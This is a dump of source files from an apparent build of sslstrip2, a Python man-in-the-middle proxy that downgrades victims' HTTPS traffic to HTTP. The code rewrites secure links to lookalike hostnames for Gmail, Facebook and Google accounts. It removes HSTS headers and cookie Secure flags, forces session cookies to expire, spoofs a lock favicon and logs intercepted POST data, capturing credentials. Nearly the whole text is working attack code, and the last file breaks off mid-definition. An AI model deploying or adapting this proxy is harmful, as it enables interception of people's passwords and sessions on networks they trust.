/src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | newvalues =[] 49 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 50 | values = value.split(';') 51 | for v in values: 52 | if v[:7].lower()==' domain': 53 | dominio=v.split("=")[1] 54 | logging.debug("LEO Parsing cookie domain parameter: %s"%v) 55 | real = self.urlMonitor.sustitucion 56 | if dominio in real: 57 | v=" Domain=%s"%real[dominio] 58 | logging.debug("LEO New cookie domain parameter: %s"%v) 59 | newvalues.append(v) 60 | value = ';'.join(newvalues) 61 | 62 | if (key.lower() == 'access-control-allow-origin'): 63 | value='*' 64 | 65 | ServerConnection.handleHeader(self, key, value) 66 | 67 | def stripFileFromPath(self, path): 68 | (strippedPath, lastSlash, file) = path.rpartition('/') 69 | return strippedPath 70 | 71 | def buildAbsoluteLink(self, link): 72 | absoluteLink = "" 73 | 74 | if ((not link.startswith('http')) and (not link.startswith('/'))): 75 | absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link 76 | 77 | logging.debug("Found path-relative link in secure transmission: " + link) 78 | logging.debug("New Absolute path-relative link: " + absoluteLink) 79 | elif not link.startswith('http'): 80 | absoluteLink = "http://"+self.headers['host']+link 81 | 82 | logging.debug("Found relative link in secure transmission: " + link) 83 | logging.debug("New Absolute link: " + absoluteLink) 84 | 85 | if not absoluteLink == "": 86 | absoluteLink = absoluteLink.replace('&', '&') 87 | self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink); 88 | 89 | def replaceCssLinks(self, data): 90 | iterator = re.finditer(SSLServerConnection.cssExpression, data) 91 | 92 | for match in iterator: 93 | self.buildAbsoluteLink(match.group(1)) 94 | 95 | return data 96 | 97 | def replaceFavicon(self, data): 98 | match = re.search(SSLServerConnection.iconExpression, data) 99 | 100 | if (match != None): 101 | data = re.sub(SSLServerConnection.iconExpression, 102 | "", data) 103 | else: 104 | data = re.sub(SSLServerConnection.headExpression, 105 | "", data) 106 | 107 | return data 108 | 109 | def replaceSecureLinks(self, data): 110 | data = ServerConnection.replaceSecureLinks(self, data) 111 | data = self.replaceCssLinks(data) 112 | 113 | if (self.urlMonitor.isFaviconSpoofing()): 114 | data = self.replaceFavicon(data) 115 | 116 | iterator = re.finditer(SSLServerConnection.linkExpression, data) 117 | 118 | for match in iterator: 119 | self.buildAbsoluteLink(match.group(10)) 120 | 121 | return data 122 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string, random, zlib, gzip, StringIO 20 | 21 | from twisted.web.http import HTTPClient 22 | from URLMonitor import URLMonitor 23 | 24 | class ServerConnection(HTTPClient): 25 | 26 | ''' The server connection is where we do the bulk of the stripping. Everything that 27 | comes back is examined. The headers we dont like are removed, and the links are stripped 28 | from HTTPS to HTTP. 29 | ''' 30 | 31 | urlExpression = re.compile(r"(https://[\w\d:#@%/;$()~_?\+-=\\\.&]*)", re.IGNORECASE) 32 | urlType = re.compile(r"https://", re.IGNORECASE) 33 | urlTypewww = re.compile(r"https://www", re.IGNORECASE) 34 | urlwExplicitPort = re.compile(r'https://www([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 35 | urlExplicitPort = re.compile(r'https://([a-zA-Z0-9.]+):[0-9]+/', re.IGNORECASE) 36 | urlToken1 = re.compile(r'(https://[a-zA-Z0-9./]+\?)', re.IGNORECASE) 37 | urlToken2 = re.compile(r'(https://[a-zA-Z0-9./]+)\?{0}', re.IGNORECASE) 38 | # urlToken2 = re.compile(r'(https://[a-zA-Z0-9.]+/?[a-zA-Z0-9.]*/?)\?{0}', re.IGNORECASE) 39 | 40 | def __init__(self, command, uri, postData, headers, client): 41 | self.command = command 42 | self.uri = uri 43 | self.postData = postData 44 | self.headers = headers 45 | self.client = client 46 | self.urlMonitor = URLMonitor.getInstance() 47 | self.isImageRequest = False 48 | self.isCompressed = False 49 | self.contentLength = None 50 | self.shutdownComplete = False 51 | 52 | def getLogLevel(self): 53 | return logging.DEBUG 54 | 55 | def getPostPrefix(self): 56 | return "POST" 57 | 58 | def sendRequest(self): 59 | logging.log(self.getLogLevel(), "Sending Request: %s %s" % (self.command, self.uri)) 60 | self.sendCommand(self.command, self.uri) 61 | 62 | def sendHeaders(self): 63 | for header, value in self.headers.items(): 64 | logging.log(self.getLogLevel(), "Sending header: %s : %s" % (header, value)) 65 | self.sendHeader(header, value) 66 | 67 | self.endHeaders() 68 | 69 | def sendPostData(self): 70 | logging.warning(self.getPostPrefix() + " Data (" + self.headers['host'] + "):\n" + str(self.postData)) 71 | self.transport.write(self.postData) 72 | 73 | def connectionMade(self): 74 | logging.log(self.getLogLevel(), "HTTP connection made.") 75 | self.sendRequest() 76 | self.sendHeaders() 77 | 78 | if (self.command == 'POST'): 79 | self.sendPostData() 80 | 81 | def handleStatus(self, version, code, message): 82 | logging.log(self.getLogLevel(), "Got server response: %s %s %s" % (version, code, message)) 83 | self.client.setResponseCode(int(code), message) 84 | 85 | def handleHeader(self, key, value): 86 | logging.log(self.getLogLevel(), "Got server header: %s:%s" % (key, value)) 87 | 88 | if (key.lower() == 'location'): 89 | value = self.replaceSecureLinks(value) 90 | 91 | if (key.lower() == 'content-type'): 92 | if (value.find('image') != -1): 93 | self.isImageRequest = True 94 | logging.debug("Response is image content, not scanning...") 95 | 96 | if (key.lower() == 'content-encoding'): 97 | if (value.find('gzip') != -1): 98 | logging.debug("Response is compressed...") 99 | self.isCompressed = True 100 | elif (key.lower() == 'content-length'): 101 | self.contentLength = value 102 | elif (key.lower() == 'set-cookie'): 103 | self.client.responseHeaders.addRawHeader(key, value) 104 | elif (key.lower()== 'strict-transport-security'): 105 | logging.log(self.getLogLevel(), "LEO Erasing Strict Transport Security....") 106 | else: 107 | self.client.setHeader(key, value) 108 | 109 | 110 | def handleEndHeaders(self): 111 | if (self.isImageRequest and self.contentLength != None): 112 | self.client.setHeader("Content-Length", self.contentLength) 113 | 114 | if self.length == 0: 115 | self.shutdown() 116 | 117 | def handleResponsePart(self, data): 118 | if (self.isImageRequest): 119 | self.client.write(data) 120 | else: 121 | HTTPClient.handleResponsePart(self, data) 122 | 123 | def handleResponseEnd(self): 124 | if (self.isImageRequest): 125 | self.shutdown() 126 | else: 127 | HTTPClient.handleResponseEnd(self) 128 | 129 | def handleResponse(self, data): 130 | if (self.isCompressed): 131 | logging.debug("Decompressing content...") 132 | data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() 133 | 134 | logging.log(self.getLogLevel(), "Read from server:\n" + data) 135 | #logging.log(self.getLogLevel(), "Read from server:\n " ) 136 | 137 | 138 | data = self.replaceSecureLinks(data) 139 | 140 | if (self.contentLength != None): 141 | self.client.setHeader('Content-Length', len(data)) 142 | 143 | self.client.write(data) 144 | self.shutdown() 145 | 146 | def replaceSecureLinks(self, data): 147 | sustitucion = {} 148 | patchDict = self.urlMonitor.patchDict 149 | if len(patchDict)>0: 150 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 151 | data = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), data) 152 | 153 | iterator = re.finditer(ServerConnection.urlExpression, data) 154 | for match in iterator: 155 | url = match.group() 156 | 157 | logging.debug("Found secure reference: " + url) 158 | nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) 159 | logging.debug("LEO replacing %s => %s"%(url,nuevaurl)) 160 | sustitucion[url] = nuevaurl 161 | #data.replace(url,nuevaurl) 162 | 163 | #data = self.urlMonitor.DataReemplazo(data) 164 | if len(sustitucion)>0: 165 | dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) 166 | data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) 167 | 168 | #logging.debug("LEO DEBUG received data:\n"+data) 169 | #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) 170 | #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) 171 | #if data.find("http://w.face")!=-1: 172 | # logging.debug("LEO DEBUG Found error in modifications") 173 | # raw_input("Press Enter to continue") 174 | #return re.sub(ServerConnection.urlType, 'http://web.', data) 175 | return data 176 | 177 | 178 | def shutdown(self): 179 | if not self.shutdownComplete: 180 | self.shutdownComplete = True 181 | self.client.finish() 182 | self.transport.loseConnection() 183 | 184 | 185 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ServerConnectionFactory.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | from twisted.internet.protocol import ClientFactory 21 | 22 | class ServerConnectionFactory(ClientFactory): 23 | 24 | def __init__(self, command, uri, postData, headers, client): 25 | self.command = command 26 | self.uri = uri 27 | self.postData = postData 28 | self.headers = headers 29 | self.client = client 30 | 31 | def buildProtocol(self, addr): 32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) 33 | 34 | def clientConnectionFailed(self, connector, reason): 35 | logging.debug("Server connection failed.") 36 | 37 | destination = connector.getDestination() 38 | 39 | if (destination.port != 443): 40 | logging.debug("Retrying via SSL") 41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) 42 | else: 43 | self.client.finish() 44 | 45 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/StrippingProxy.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | from twisted.web.http import HTTPChannel 20 | from ClientRequest import ClientRequest 21 | 22 | class StrippingProxy(HTTPChannel): 23 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things. 24 | This is the basic proxy server class, where we get callbacks for GET and POST methods. 25 | We then proxy these out using HTTP or HTTPS depending on what information we have about 26 | the (connection, client_address) tuple in our cache. 27 | ''' 28 | 29 | requestFactory = ClientRequest 30 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/URLMonitor.py: -------------------------------------------------------------------------------- 1 | # URLMonitor 2 | 3 | import re 4 | import logging 5 | 6 | class URLMonitor: 7 | 8 | ''' 9 | The URL monitor maintains a set of (client, url) tuples that correspond to requests which the 10 | server is expecting over SSL. It also keeps track of secure favicon urls. 11 | ''' 12 | 13 | # Start the arms race, and end up here... 14 | javascriptTrickery = [re.compile("http://.+\.etrade\.com/javascript/omntr/tc_targeting\.html")] 15 | _instance = None 16 | sustitucion = {} # LEO: diccionario host / sustitucion 17 | real = {} # LEO: diccionario host / real 18 | patchDict = { 19 | 'https:\/\/fbstatic-a.akamaihd.net':'http:\/\/webfbstatic-a.akamaihd.net', 20 | 'https:\/\/www.facebook.com':'http:\/\/social.facebook.com', 21 | 'return"https:"':'return"http:"' 22 | } 23 | 24 | def __init__(self): 25 | self.strippedURLs = set() 26 | self.strippedURLPorts = {} 27 | self.faviconReplacement = False 28 | 29 | self.sustitucion["mail.google.com"] = "gmail.google.com" 30 | self.real["gmail.google.com"] = "mail.google.com" 31 | 32 | self.sustitucion["www.facebook.com"] = "social.facebook.com" 33 | self.real["social.facebook.com"] = "www.facebook.com" 34 | 35 | self.sustitucion["accounts.google.com"] = "cuentas.google.com" 36 | self.real["cuentas.google.com"] = "accounts.google.com" 37 | 38 | self.sustitucion["accounts.google.es"] = "cuentas.google.es" 39 | self.real["cuentas.google.es"] = "accounts.google.es" 40 | 41 | def isSecureLink(self, client, url): 42 | for expression in URLMonitor.javascriptTrickery: 43 | if (re.match(expression, url)): 44 | return True 45 | 46 | return (client,url) in self.strippedURLs 47 | 48 | def getSecurePort(self, client, url): 49 | if (client,url) in self.strippedURLs: 50 | return self.strippedURLPorts[(client,url)] 51 | else: 52 | return 443 53 | 54 | def addSecureLink(self, client, url): 55 | methodIndex = url.find("//") + 2 56 | method = url[0:methodIndex] 57 | pathIndex = url.find("/", methodIndex) 58 | host = url[methodIndex:pathIndex].lower() 59 | path = url[pathIndex:] 60 | 61 | port = 443 62 | portIndex = host.find(":") 63 | 64 | if (portIndex != -1): 65 | host = host[0:portIndex] 66 | port = host[portIndex+1:] 67 | if len(port) == 0: 68 | port = 443 69 | 70 | #LEO: Sustituir HOST 71 | if not self.sustitucion.has_key(host): 72 | lhost = host[:4] 73 | if lhost=="www.": 74 | self.sustitucion[host] = "w"+host 75 | self.real["w"+host] = host 76 | else: 77 | self.sustitucion[host] = "web"+host 78 | self.real["web"+host] = host 79 | logging.debug("LEO: ssl host (%s) tokenized (%s)" % (host,self.sustitucion[host]) ) 80 | 81 | url = 'http://' + host + path 82 | #logging.debug("LEO stripped URL: %s %s"%(client, url)) 83 | 84 | self.strippedURLs.add((client, url)) 85 | self.strippedURLPorts[(client, url)] = int(port) 86 | return 'http://'+self.sustitucion[host]+path 87 | 88 | def setFaviconSpoofing(self, faviconSpoofing): 89 | self.faviconSpoofing = faviconSpoofing 90 | 91 | def isFaviconSpoofing(self): 92 | return self.faviconSpoofing 93 | 94 | def isSecureFavicon(self, client, url): 95 | return ((self.faviconSpoofing == True) and (url.find("favicon-x-favicon-x.ico") != -1)) 96 | 97 | def URLgetRealHost(self,host): 98 | logging.debug("Parsing host: %s"%host) 99 | if self.real.has_key(host): 100 | logging.debug("New host: %s"%self.real[host]) 101 | return self.real[host] 102 | else: 103 | logging.debug("New host: %s"%host) 104 | return host 105 | 106 | def getInstance(): 107 | if URLMonitor._instance == None: 108 | URLMonitor._instance = URLMonitor() 109 | 110 | return URLMonitor._instance 111 | 112 | getInstance = staticmethod(getInstance) 113 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | class ClientRequest(Request): 38 | 39 | ''' This class represents incoming client requests and is essentially where 40 | the magic begins. Here we remove the client headers we dont like, and then 41 | respond with either favicon spoofing, session denial, or proxy through HTTP 42 | or SSL to the server. 43 | ''' 44 | 45 | def __init__(self, channel, queued, reactor=reactor): 46 | Request.__init__(self, channel, queued) 47 | self.reactor = reactor 48 | self.urlMonitor = URLMonitor.getInstance() 49 | self.cookieCleaner = CookieCleaner.getInstance() 50 | self.dnsCache = DnsCache.getInstance() 51 | # self.uniqueId = random.randint(0, 10000) 52 | 53 | def cleanHeaders(self): 54 | headers = self.getAllHeaders().copy() 55 | 56 | if 'accept-encoding' in headers: 57 | del headers['accept-encoding'] 58 | 59 | if 'if-modified-since' in headers: 60 | del headers['if-modified-since'] 61 | 62 | if 'cache-control' in headers: 63 | del headers['cache-control'] 64 | 65 | return headers 66 | 67 | def getPathFromUri(self): 68 | if (self.uri.find("http://") == 0): 69 | index = self.uri.find('/', 7) 70 | return self.uri[index:] 71 | 72 | return self.uri 73 | 74 | def getPathToLockIcon(self): 75 | if os.path.exists("lock.ico"): return "lock.ico" 76 | 77 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 78 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 79 | 80 | if os.path.exists(scriptPath): return scriptPath 81 | 82 | logging.warning("Error: Could not find lock.ico") 83 | return "lock.ico" 84 | 85 | def handleHostResolvedSuccess(self, address): 86 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 87 | lhost = self.getHeader("host").lower() 88 | host = self.urlMonitor.URLgetRealHost(lhost) 89 | headers = self.cleanHeaders() 90 | client = self.getClientIP() 91 | path = self.getPathFromUri() 92 | 93 | self.content.seek(0,0) 94 | postData = self.content.read() 95 | url = 'http://' + host + path 96 | 97 | self.dnsCache.cacheResolution(host, address) 98 | 99 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 100 | logging.debug("Sending expired cookies...") 101 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 102 | host, headers, path)) 103 | elif (self.urlMonitor.isSecureFavicon(client, path)): 104 | logging.debug("Sending spoofed favicon response...") 105 | self.sendSpoofedFaviconResponse() 106 | elif (self.urlMonitor.isSecureLink(client, url)): 107 | logging.debug("Sending request via SSL...") 108 | self.proxyViaSSL(address, self.method, path, postData, headers, 109 | self.urlMonitor.getSecurePort(client, url)) 110 | else: 111 | logging.debug("Sending request via HTTP...") 112 | self.proxyViaHTTP(address, self.method, path, postData, headers) 113 | 114 | def handleHostResolvedError(self, error): 115 | logging.warning("Host resolution error: " + str(error)) 116 | self.finish() 117 | 118 | def resolveHost(self, host): 119 | address = self.dnsCache.getCachedAddress(host) 120 | 121 | if address != None: 122 | logging.debug("Host cached.") 123 | return defer.succeed(address) 124 | else: 125 | logging.debug("Host not cached.") 126 | return reactor.resolve(host) 127 | 128 | def process(self): 129 | logging.debug("Resolving host: %s" % (self.getHeader('host'))) 130 | host = self.getHeader('host') 131 | deferred = self.resolveHost(host) 132 | 133 | deferred.addCallback(self.handleHostResolvedSuccess) 134 | deferred.addErrback(self.handleHostResolvedError) 135 | 136 | def proxyViaHTTP(self, host, method, path, postData, headers): 137 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 138 | connectionFactory.protocol = ServerConnection 139 | self.reactor.connectTCP(host, 80, connectionFactory) 140 | 141 | def proxyViaSSL(self, host, method, path, postData, headers, port): 142 | clientContextFactory = ssl.ClientContextFactory() 143 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 144 | connectionFactory.protocol = SSLServerConnection 145 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 146 | 147 | def sendExpiredCookies(self, host, path, expireHeaders): 148 | self.setResponseCode(302, "Moved") 149 | self.setHeader("Connection", "close") 150 | self.setHeader("Location", "http://" + host + path) 151 | 152 | for header in expireHeaders: 153 | self.setHeader("Set-Cookie", header) 154 | 155 | self.finish() 156 | 157 | def sendSpoofedFaviconResponse(self): 158 | icoFile = open(self.getPathToLockIcon()) 159 | 160 | self.setResponseCode(200, "OK") 161 | self.setHeader("Content-type", "image/x-icon") 162 | self.write(icoFile.read()) 163 | 164 | icoFile.close() 165 | self.finish() 166 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.7/sslstrip/SSLServerConnection.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging, re, string 20 | 21 | from ServerConnection import ServerConnection 22 | 23 | class SSLServerConnection(ServerConnection): 24 | 25 | ''' 26 | For SSL connections to a server, we need to do some additional stripping. First we need 27 | to make note of any relative links, as the server will be expecting those to be requested 28 | via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies. 29 | ''' 30 | 31 | cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE) 32 | cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE) 33 | iconExpression = re.compile(r"", re.IGNORECASE) 34 | linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE) 35 | headExpression = re.compile(r"", re.IGNORECASE) 36 | 37 | def __init__(self, command, uri, postData, headers, client): 38 | ServerConnection.__init__(self, command, uri, postData, headers, client) 39 | 40 | def getLogLevel(self): 41 | return logging.INFO 42 | 43 | def getPostPrefix(self): 44 | return "SECURE POST" 45 | 46 | def handleHeader(self, key, value): 47 | if (key.lower() == 'set-cookie'): 48 | value = SSLServerConnection.cookieExpression.sub("\g<1>", value) 49 | 50 | ServerConnection.handleHeader(self, key, value) 51 | 52 | def 